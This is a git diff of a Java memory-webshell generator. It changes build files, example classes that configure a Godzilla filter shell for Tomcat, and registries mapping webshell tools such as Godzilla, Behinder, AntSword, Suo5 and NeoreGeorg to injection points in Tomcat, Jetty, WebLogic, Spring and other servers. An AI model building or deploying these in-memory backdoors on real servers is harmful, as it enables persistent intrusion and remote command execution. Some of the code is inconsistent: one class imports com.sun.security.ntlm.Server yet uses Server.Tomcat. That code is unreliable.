<groupId>io.github.reajason</groupId>
|
<groupId>io.github.reajason</groupId>
|
||||||
<artifactId>generator</artifactId>
|
<artifactId>generator</artifactId>
|
||||||
<version>2.0.0</version>
|
<version>2.0.0-SNAPSHOT</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>io.github.reajason</groupId>
|
<groupId>io.github.reajason</groupId>
|
||||||
<artifactId>packer</artifactId>
|
<artifactId>packer</artifactId>
|
||||||
<version>2.0.0</version>
|
<version>2.0.0-SNAPSHOT</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
</dependencies>
|
</dependencies>
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb;
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||||
import com.reajason.javaweb.memshell.MemShellResult;
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
@@ -9,8 +10,6 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
|
||||||
import static com.reajason.javaweb.Server.Tomcat;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/4/6
|
* @since 2025/4/6
|
||||||
@@ -18,7 +17,7 @@ import static com.reajason.javaweb.Server.Tomcat;
|
|||||||
public class Godzilla {
|
public class Godzilla {
|
||||||
public static void main(String[] args) {
|
public static void main(String[] args) {
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
.server(Tomcat)
|
.server(Server.Tomcat)
|
||||||
.shellTool(ShellTool.Godzilla)
|
.shellTool(ShellTool.Godzilla)
|
||||||
.shellType(ShellType.FILTER)
|
.shellType(ShellType.FILTER)
|
||||||
.shrink(true) // 缩小字节码
|
.shrink(true) // 缩小字节码
|
||||||
|
|||||||
@@ -9,12 +9,11 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import com.reajason.javaweb.packer.jar.JarPacker;
|
import com.reajason.javaweb.packer.jar.JarPacker;
|
||||||
|
import com.sun.security.ntlm.Server;
|
||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
|
||||||
import static com.reajason.javaweb.Server.Tomcat;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/4/6
|
* @since 2025/4/6
|
||||||
@@ -23,7 +22,7 @@ public class GodzillaAgent {
|
|||||||
|
|
||||||
public static void main(String[] args) throws Exception {
|
public static void main(String[] args) throws Exception {
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
.server(Tomcat)
|
.server(Server.Tomcat)
|
||||||
.shellTool(ShellTool.Godzilla)
|
.shellTool(ShellTool.Godzilla)
|
||||||
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
||||||
.shrink(true) // 缩小字节码
|
.shrink(true) // 缩小字节码
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id("java-library")
|
id("java")
|
||||||
alias(libs.plugins.lombok)
|
alias(libs.plugins.lombok)
|
||||||
id("maven-publish-convention")
|
id("maven-publish-convention")
|
||||||
}
|
}
|
||||||
@@ -29,23 +29,20 @@ tasks.test {
|
|||||||
dependencies {
|
dependencies {
|
||||||
implementation(project(":memshell-party-common"))
|
implementation(project(":memshell-party-common"))
|
||||||
implementation(project(":packer"))
|
implementation(project(":packer"))
|
||||||
api(libs.byte.buddy)
|
implementation(libs.byte.buddy)
|
||||||
implementation(libs.asm.commons)
|
implementation(libs.asm.commons)
|
||||||
implementation(libs.javax.websocket.api)
|
implementation(libs.javax.websocket.api)
|
||||||
implementation(libs.jakarta.websocket.client.api)
|
|
||||||
implementation(libs.javax.servlet.api)
|
implementation(libs.javax.servlet.api)
|
||||||
implementation(libs.jakarta.servlet.api)
|
|
||||||
implementation(libs.spring.webmvc)
|
implementation(libs.spring.webmvc)
|
||||||
implementation(libs.spring.webflux)
|
implementation(libs.spring.webflux)
|
||||||
implementation(libs.tomcat.embed.core)
|
|
||||||
implementation(libs.reactor.netty.core)
|
implementation(libs.reactor.netty.core)
|
||||||
implementation(libs.alibaba.dubbo)
|
|
||||||
implementation(libs.apache.dubbo)
|
|
||||||
implementation(libs.jackson.annotations)
|
|
||||||
implementation(libs.bundles.jna)
|
|
||||||
|
|
||||||
|
implementation(libs.bundles.jna)
|
||||||
|
implementation(libs.bcel)
|
||||||
|
implementation(libs.okhttp3)
|
||||||
|
implementation(libs.logback.classic)
|
||||||
|
implementation(libs.jackson.databind)
|
||||||
testImplementation(libs.junit.jupiter)
|
testImplementation(libs.junit.jupiter)
|
||||||
testImplementation(libs.hamcrest)
|
|
||||||
testRuntimeOnly(libs.junit.platform.launcher)
|
testRuntimeOnly(libs.junit.platform.launcher)
|
||||||
testImplementation(libs.bundles.mockito)
|
testImplementation(libs.bundles.mockito)
|
||||||
}
|
}
|
||||||
@@ -20,6 +20,4 @@ public class Server {
|
|||||||
public static final String SpringWebMvc = "SpringWebMvc";
|
public static final String SpringWebMvc = "SpringWebMvc";
|
||||||
public static final String SpringWebFlux = "SpringWebFlux";
|
public static final String SpringWebFlux = "SpringWebFlux";
|
||||||
public static final String XXLJOB = "XXLJOB";
|
public static final String XXLJOB = "XXLJOB";
|
||||||
public static final String Struts2 = "Struts2";
|
|
||||||
public static final String Dubbo = "Dubbo";
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,23 +1,13 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
import com.reajason.javaweb.GenerationException;
|
import com.reajason.javaweb.GenerationException;
|
||||||
import com.reajason.javaweb.asm.ClassInterfaceUtils;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||||
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
import com.reajason.javaweb.probe.ProbeContent;
|
|
||||||
import com.reajason.javaweb.probe.ProbeMethod;
|
|
||||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
|
||||||
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
|
||||||
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.apache.commons.lang3.Strings;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
@@ -34,6 +24,15 @@ public class MemShellGenerator {
|
|||||||
if (server == null) {
|
if (server == null) {
|
||||||
throw new GenerationException("Unsupported server: " + serverName);
|
throw new GenerationException("Unsupported server: " + serverName);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||||
|
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
||||||
|
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
||||||
|
}
|
||||||
|
|
||||||
Class<?> injectorClass = null;
|
Class<?> injectorClass = null;
|
||||||
|
|
||||||
if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
|
if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
|
||||||
@@ -48,41 +47,7 @@ public class MemShellGenerator {
|
|||||||
shellToolConfig.setShellClass(shellClass);
|
shellToolConfig.setShellClass(shellClass);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
byte[] shellBytes = shellConfig.getShellTool().generateBytes(shellConfig, shellToolConfig);
|
||||||
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
|
|
||||||
}
|
|
||||||
|
|
||||||
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
|
||||||
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isLambdaSuffix()) {
|
|
||||||
shellToolConfig.setShellClassName(CommonUtil.appendLambdaSuffix(shellToolConfig.getShellClassName()));
|
|
||||||
injectorConfig.setInjectorClassName(CommonUtil.appendLambdaSuffix(injectorConfig.getInjectorClassName()));
|
|
||||||
}
|
|
||||||
|
|
||||||
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
|
||||||
|
|
||||||
if (shellConfig.getShellType().endsWith(ShellType.DUBBO_SERVICE)) {
|
|
||||||
String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
|
|
||||||
String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
|
|
||||||
String interfaceName = packageName + ".I" + simpleName;
|
|
||||||
injectorConfig.setInjectorHelperClassName(interfaceName);
|
|
||||||
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
|
|
||||||
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
|
|
||||||
String urlPattern = injectorConfig.getUrlPattern();
|
|
||||||
if (Strings.CS.equalsAny(urlPattern, "/*", "/")
|
|
||||||
|| StringUtils.isBlank(urlPattern)) {
|
|
||||||
injectorConfig.setUrlPattern(interfaceName);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|
|
||||||
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
|
|
||||||
String helperClassName = shellToolConfig.getShellClassName() + "$1";
|
|
||||||
injectorConfig.setInjectorHelperClassName(helperClassName);
|
|
||||||
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
|
|
||||||
}
|
|
||||||
|
|
||||||
injectorConfig.setInjectorClass(injectorClass);
|
injectorConfig.setInjectorClass(injectorClass);
|
||||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||||
@@ -90,25 +55,6 @@ public class MemShellGenerator {
|
|||||||
|
|
||||||
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
||||||
byte[] injectorBytes = injectorGenerator.generate();
|
byte[] injectorBytes = injectorGenerator.generate();
|
||||||
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
|
||||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
|
||||||
.shellClassName(injectorConfig.getInjectorClassName() + "Wrapper")
|
|
||||||
.probeMethod(ProbeMethod.ResponseBody)
|
|
||||||
.probeContent(ProbeContent.Bytecode)
|
|
||||||
.targetJreVersion(shellConfig.getTargetJreVersion())
|
|
||||||
.byPassJavaModule(shellConfig.isByPassJavaModule())
|
|
||||||
.shrink(shellConfig.isShrink())
|
|
||||||
.debug(shellConfig.isDebug())
|
|
||||||
.staticInitialize(injectorConfig.isStaticInitialize())
|
|
||||||
.build();
|
|
||||||
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
|
|
||||||
.server(serverName)
|
|
||||||
.base64Bytes(Base64.encodeBase64String(CommonUtil.gzipCompress(injectorBytes)))
|
|
||||||
.build();
|
|
||||||
injectorBytes = new ResponseBodyGenerator(probeConfig, responseBodyConfig).getBytes();
|
|
||||||
injectorConfig.setInjectorClassName(probeConfig.getShellClassName());
|
|
||||||
}
|
|
||||||
|
|
||||||
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
||||||
|
|
||||||
return MemShellResult.builder()
|
return MemShellResult.builder()
|
||||||
|
|||||||
@@ -8,8 +8,6 @@ import com.reajason.javaweb.memshell.shelltool.command.*;
|
|||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket;
|
|
||||||
|
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
@@ -46,8 +44,6 @@ public class ServerFactory {
|
|||||||
register(Server.SpringWebMvc, SpringWebMvc::new);
|
register(Server.SpringWebMvc, SpringWebMvc::new);
|
||||||
register(Server.SpringWebFlux, SpringWebFlux::new);
|
register(Server.SpringWebFlux, SpringWebFlux::new);
|
||||||
register(Server.XXLJOB, XxlJob::new);
|
register(Server.XXLJOB, XxlJob::new);
|
||||||
register(Server.Struts2, Struts2::new);
|
|
||||||
register(Server.Dubbo, Dubbo::new);
|
|
||||||
|
|
||||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||||
@@ -62,8 +58,6 @@ public class ServerFactory {
|
|||||||
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
||||||
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
||||||
.addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
|
|
||||||
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||||
@@ -75,14 +69,10 @@ public class ServerFactory {
|
|||||||
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
|
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
|
||||||
.addShellClass(HANDLER, GodzillaJettyHandler.class)
|
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
|
||||||
.addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class)
|
|
||||||
.addShellClass(CUSTOMIZER, GodzillaJettyCustomizer.class)
|
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class)
|
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
||||||
.addShellClass(ACTION, GodzillaStruts2Action.class)
|
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||||
@@ -107,7 +97,6 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
||||||
.addShellClass(ACTION, BehinderStruts2Action.class)
|
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||||
@@ -125,7 +114,6 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
||||||
.addShellClass(ACTION, AntSwordStruts2Action.class)
|
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||||
@@ -141,9 +129,6 @@ public class ServerFactory {
|
|||||||
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
||||||
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
||||||
.addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
|
|
||||||
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
|
|
||||||
.addShellClass(UPGRADE, CommandUpgrade.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||||
@@ -155,16 +140,10 @@ public class ServerFactory {
|
|||||||
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
|
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class)
|
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
|
||||||
.addShellClass(HANDLER, CommandJettyHandler.class)
|
|
||||||
.addShellClass(CUSTOMIZER, CommandJettyCustomizer.class)
|
|
||||||
.addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class)
|
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
||||||
.addShellClass(ACTION, CommandStruts2Action.class)
|
|
||||||
.addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
|
|
||||||
.addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
|
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||||
@@ -190,33 +169,6 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
||||||
.addShellClass(ACTION, Suo5Struts2Action.class)
|
|
||||||
.build());
|
|
||||||
|
|
||||||
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
|
|
||||||
.addShellClass(SERVLET, Suo5v2Servlet.class)
|
|
||||||
.addShellClass(JAKARTA_SERVLET, Suo5v2Servlet.class)
|
|
||||||
.addShellClass(FILTER, Suo5v2Filter.class)
|
|
||||||
.addShellClass(JAKARTA_FILTER, Suo5v2Filter.class)
|
|
||||||
.addShellClass(LISTENER, Suo5v2Listener.class)
|
|
||||||
.addShellClass(JAKARTA_LISTENER, Suo5v2Listener.class)
|
|
||||||
.addShellClass(VALVE, Suo5v2Valve.class)
|
|
||||||
.addShellClass(JAKARTA_VALVE, Suo5v2Valve.class)
|
|
||||||
.addShellClass(PROXY_VALVE, Suo5v2.class)
|
|
||||||
.addShellClass(JAKARTA_PROXY_VALVE, Suo5v2.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5v2Interceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5v2Interceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5v2.class)
|
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, Suo5v2.class)
|
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5v2.class)
|
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, Suo5v2JettyHandler.class)
|
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
|
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
|
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
|
|
||||||
.addShellClass(ACTION, Suo5v2Struts2Action.class)
|
|
||||||
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
|
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
||||||
@@ -241,14 +193,6 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
||||||
.addShellClass(ACTION, NeoreGeorgStruts2Action.class)
|
|
||||||
.build());
|
|
||||||
|
|
||||||
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
|
|
||||||
.addShellClass(WEBSOCKET, ProxyWebSocket.class)
|
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class)
|
|
||||||
.addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
|
|
||||||
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
|
|
||||||
.build());
|
.build());
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -275,7 +219,7 @@ public class ServerFactory {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void addToolMapping(String shellTool, ToolMapping toolMapping) {
|
public static void addToolMapping(ShellTool shellTool, ToolMapping toolMapping) {
|
||||||
Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap();
|
Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap();
|
||||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||||
for (String supportedServer : supportedServers) {
|
for (String supportedServer : supportedServers) {
|
||||||
@@ -291,10 +235,7 @@ public class ServerFactory {
|
|||||||
}
|
}
|
||||||
toolMappingBuilder.addShellClass(shellType, shellClass);
|
toolMappingBuilder.addShellClass(shellType, shellClass);
|
||||||
}
|
}
|
||||||
ToolMapping mapping = toolMappingBuilder.build();
|
server.addToolMapping(shellTool, toolMappingBuilder.build());
|
||||||
if (mapping.isNotEmpty()) {
|
|
||||||
server.addToolMapping(shellTool, mapping);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,17 +1,41 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ShellGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
|
import com.reajason.javaweb.memshell.generator.*;
|
||||||
|
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
||||||
|
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/8/22
|
* @since 2024/11/22
|
||||||
*/
|
*/
|
||||||
public class ShellTool {
|
public enum ShellTool {
|
||||||
public static final String Godzilla = "Godzilla";
|
Godzilla(GodzillaGenerator.class, GodzillaConfig.class),
|
||||||
public static final String Behinder = "Behinder";
|
Command(CommandGenerator.class, CommandConfig.class),
|
||||||
